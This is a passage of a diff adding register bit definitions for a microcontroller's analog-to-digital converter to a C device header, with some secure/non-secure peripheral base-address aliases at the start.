USB_OTG_HS_BASE USB_OTG_HS_BASE_NS + +#define MDF1 MDF1_NS +#define MDF1_BASE MDF1_BASE_NS + +#define MDF1_Filter0 MDF1_Filter0_NS +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_NS + +#define MDF1_Filter1 MDF1_Filter1_NS +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_NS + +#define MDF1_Filter2 MDF1_Filter2_NS +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_NS + +#define MDF1_Filter3 MDF1_Filter3_NS +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_NS + +#define MDF1_Filter4 MDF1_Filter4_NS +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_NS + +#define MDF1_Filter5 MDF1_Filter5_NS +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_NS + +#define ADF1 ADF1_NS +#define ADF1_BASE ADF1_BASE_NS + +#define ADF1_Filter0 ADF1_Filter0_NS +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_NS +#endif + +/** @addtogroup Hardware_Constant_Definition + * @{ + */ +#define LSI_STARTUP_TIME 260U /*!< LSI Maximum startup time in us */ + +/** + * @} + */ + +/******************************************************************************/ +/* */ +/* Analog to Digital Converter */ +/* */ +/******************************************************************************/ +/******************************* ADC VERSION ********************************/ +#define ADC_VER_V5_X +#define ADC_MULTIMODE_SUPPORT +/******************** Bit definition for ADC_ISR register ********************/ +#define ADC_ISR_ADRDY_Pos (0UL) +#define ADC_ISR_ADRDY_Msk (0x1UL << ADC_ISR_ADRDY_Pos) /*!< 0x00000001 */ +#define ADC_ISR_ADRDY ADC_ISR_ADRDY_Msk /*!< ADC Ready (ADRDY) flag */ +#define ADC_ISR_EOSMP_Pos (1UL) +#define ADC_ISR_EOSMP_Msk (0x1UL << ADC_ISR_EOSMP_Pos) /*!< 0x00000002 */ +#define ADC_ISR_EOSMP ADC_ISR_EOSMP_Msk /*!< ADC End of Sampling flag */ +#define ADC_ISR_EOC_Pos (2UL) +#define ADC_ISR_EOC_Msk (0x1UL << ADC_ISR_EOC_Pos) /*!< 0x00000004 */ +#define ADC_ISR_EOC ADC_ISR_EOC_Msk /*!< ADC End of Regular Conversion flag */ +#define ADC_ISR_EOS_Pos (3UL) +#define ADC_ISR_EOS_Msk (0x1UL << ADC_ISR_EOS_Pos) /*!< 0x00000008 */ +#define ADC_ISR_EOS ADC_ISR_EOS_Msk /*!< ADC End of Regular sequence of Conversions flag */ +#define ADC_ISR_OVR_Pos (4UL) +#define ADC_ISR_OVR_Msk (0x1UL << ADC_ISR_OVR_Pos) /*!< 0x00000010 */ +#define ADC_ISR_OVR ADC_ISR_OVR_Msk /*!< ADC overrun flag */ +#define ADC_ISR_JEOC_Pos (5UL) +#define ADC_ISR_JEOC_Msk (0x1UL << ADC_ISR_JEOC_Pos) /*!< 0x00000020 */ +#define ADC_ISR_JEOC ADC_ISR_JEOC_Msk /*!< ADC End of Injected Conversion flag */ +#define ADC_ISR_JEOS_Pos (6UL) +#define ADC_ISR_JEOS_Msk (0x1UL << ADC_ISR_JEOS_Pos) /*!< 0x00000040 */ +#define ADC_ISR_JEOS ADC_ISR_JEOS_Msk /*!< ADC End of Injected sequence of Conversions flag */ +#define ADC_ISR_AWD1_Pos (7UL) +#define ADC_ISR_AWD1_Msk (0x1UL << ADC_ISR_AWD1_Pos) /*!< 0x00000080 */ +#define ADC_ISR_AWD1 ADC_ISR_AWD1_Msk /*!< ADC Analog watchdog 1 flag */ +#define ADC_ISR_AWD2_Pos (8UL) +#define ADC_ISR_AWD2_Msk (0x1UL << ADC_ISR_AWD2_Pos) /*!< 0x00000100 */ +#define ADC_ISR_AWD2 ADC_ISR_AWD2_Msk /*!< ADC Analog watchdog 2 flag */ +#define ADC_ISR_AWD3_Pos (9UL) +#define ADC_ISR_AWD3_Msk (0x1UL << ADC_ISR_AWD3_Pos) /*!< 0x00000200 */ +#define ADC_ISR_AWD3 ADC_ISR_AWD3_Msk /*!< ADC Analog watchdog 3 flag */ +#define ADC_ISR_JQOVF_Pos (10UL) +#define ADC_ISR_JQOVF_Msk (0x1UL << ADC_ISR_JQOVF_Pos) /*!< 0x00000400 */ +#define ADC_ISR_JQOVF ADC_ISR_JQOVF_Msk /*!< ADC Injected Context Queue Overflow flag */ +#define ADC_ISR_EOCAL_Pos (11UL) +#define ADC_ISR_EOCAL_Msk (0x1UL << ADC_ISR_EOCAL_Pos) /*!< 0x00000800 */ +#define ADC_ISR_EOCAL ADC_ISR_EOCAL_Msk /*!< ADC End of Calibration flag */ +#define ADC_ISR_LDORDY_Pos (12UL) +#define ADC_ISR_LDORDY_Msk (0x1UL << ADC_ISR_LDORDY_Pos) /*!< 0x00001000 */ +#define ADC_ISR_LDORDY ADC_ISR_LDORDY_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_IER register ********************/ +#define ADC_IER_ADRDYIE_Pos (0UL) +#define ADC_IER_ADRDYIE_Msk (0x1UL << ADC_IER_ADRDYIE_Pos) /*!< 0x00000001 */ +#define ADC_IER_ADRDYIE ADC_IER_ADRDYIE_Msk /*!< ADC Ready (ADRDY) interrupt source */ +#define ADC_IER_EOSMPIE_Pos (1UL) +#define ADC_IER_EOSMPIE_Msk (0x1UL << ADC_IER_EOSMPIE_Pos) /*!< 0x00000002 */ +#define ADC_IER_EOSMPIE ADC_IER_EOSMPIE_Msk /*!< ADC End of Sampling interrupt source */ +#define ADC_IER_EOCIE_Pos (2UL) +#define ADC_IER_EOCIE_Msk (0x1UL << ADC_IER_EOCIE_Pos) /*!< 0x00000004 */ +#define ADC_IER_EOCIE ADC_IER_EOCIE_Msk /*!< ADC End of Regular Conversion interrupt source */ +#define ADC_IER_EOSIE_Pos (3UL) +#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC End of Regular sequence of Conversions interrupt source */ +#define ADC_IER_OVRIE_Pos (4UL) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC overrun interrupt source */ +#define ADC_IER_JEOCIE_Pos (5UL) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC End of Injected Conversion interrupt source */ +#define ADC_IER_JEOSIE_Pos (6UL) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC End of Injected sequence of Conversions interrupt source */ +#define ADC_IER_AWD1IE_Pos (7UL) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC Analog watchdog 1 interrupt source */ +#define ADC_IER_AWD2IE_Pos (8UL) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC Analog watchdog 2 interrupt source */ +#define ADC_IER_AWD3IE_Pos (9UL) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC Analog watchdog 3 interrupt source */ +#define ADC_IER_JQOVFIE_Pos (10UL) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC Injected Context Queue Overflow interrupt source */ +#define ADC_IER_EOCALIE_Pos (11UL) +#define ADC_IER_EOCALIE_Msk (0x1UL << ADC_IER_EOCALIE_Pos) /*!< 0x00000800 */ +#define ADC_IER_EOCALIE ADC_IER_EOCALIE_Msk /*!< ADC End of Calibration Enable */ +#define ADC_IER_LDORDYIE_Pos (12UL) +#define ADC_IER_LDORDYIE_Msk (0x1UL << ADC_IER_LDORDYIE_Pos) /*!< 0x00001000 */ +#define ADC_IER_LDORDYIE ADC_IER_LDORDYIE_Msk /*!< ADC Voltage Regulator Ready flag */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0UL) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC Enable control */ +#define ADC_CR_ADDIS_Pos (1UL) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC Disable command */ +#define ADC_CR_ADSTART_Pos (2UL) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC Start of Regular conversion */ +#define ADC_CR_JADSTART_Pos (3UL) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC Start of injected conversion */ +#define ADC_CR_ADSTP_Pos (4UL) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC Stop of Regular conversion */ +#define ADC_CR_JADSTP_Pos (5UL) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC Stop of injected conversion */ +#define ADC_CR_ADCALLIN_Pos (16UL) +#define ADC_CR_ADCALLIN_Msk (0x1UL << ADC_CR_ADCALLIN_Pos) /*!< 0x00010000 */ +#define ADC_CR_ADCALLIN ADC_CR_ADCALLIN_Msk /*!< ADC Linearity calibration */ + +#define ADC_CR_CALINDEX_Pos (24UL) +#define ADC_CR_CALINDEX_Msk (0xFUL << ADC_CR_CALINDEX_Pos) /*!< 0x0F000000 */ +#define ADC_CR_CALINDEX ADC_CR_CALINDEX_Msk /*!< ADC calibration factor selection */ +#define ADC_CR_CALINDEX0_Pos (24UL) +#define ADC_CR_CALINDEX0_Msk (0x1UL << ADC_CR_CALINDEX0_Pos) /*!< 0x01000000 */ +#define ADC_CR_CALINDEX0 ADC_CR_CALINDEX0_Msk /*!< ADC calibration factor selection (bit 0) */ +#define ADC_CR_CALINDEX1_Pos (25UL) +#define ADC_CR_CALINDEX1_Msk (0x1UL << ADC_CR_CALINDEX1_Pos) /*!< 0x02000000 */ +#define ADC_CR_CALINDEX1 ADC_CR_CALINDEX1_Msk /*!< ADC calibration factor selection (bit 1) */ +#define ADC_CR_CALINDEX2_Pos (26UL) +#define ADC_CR_CALINDEX2_Msk (0x1UL << ADC_CR_CALINDEX2_Pos) /*!< 0x04000000 */ +#define ADC_CR_CALINDEX2 ADC_CR_CALINDEX2_Msk /*!< ADC calibration factor selection (bit 2) */ +#define ADC_CR_CALINDEX3_Pos (27UL) +#define ADC_CR_CALINDEX3_Msk (0x1UL << ADC_CR_CALINDEX3_Pos) /*!< 0x08000000 */ +#define ADC_CR_CALINDEX3 ADC_CR_CALINDEX3_Msk /*!< ADC calibration factor selection (bit 3) */ +#define ADC_CR_ADVREGEN_Pos (28UL) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC Voltage regulator Enable */ +#define ADC_CR_DEEPPWD_Pos (29UL) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC Deep power down Enable */ +#define ADC_CR_ADCAL_Pos (31UL) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC Calibration */ + +/******************** Bit definition for ADC_CFGR register ********************/ +#define ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) 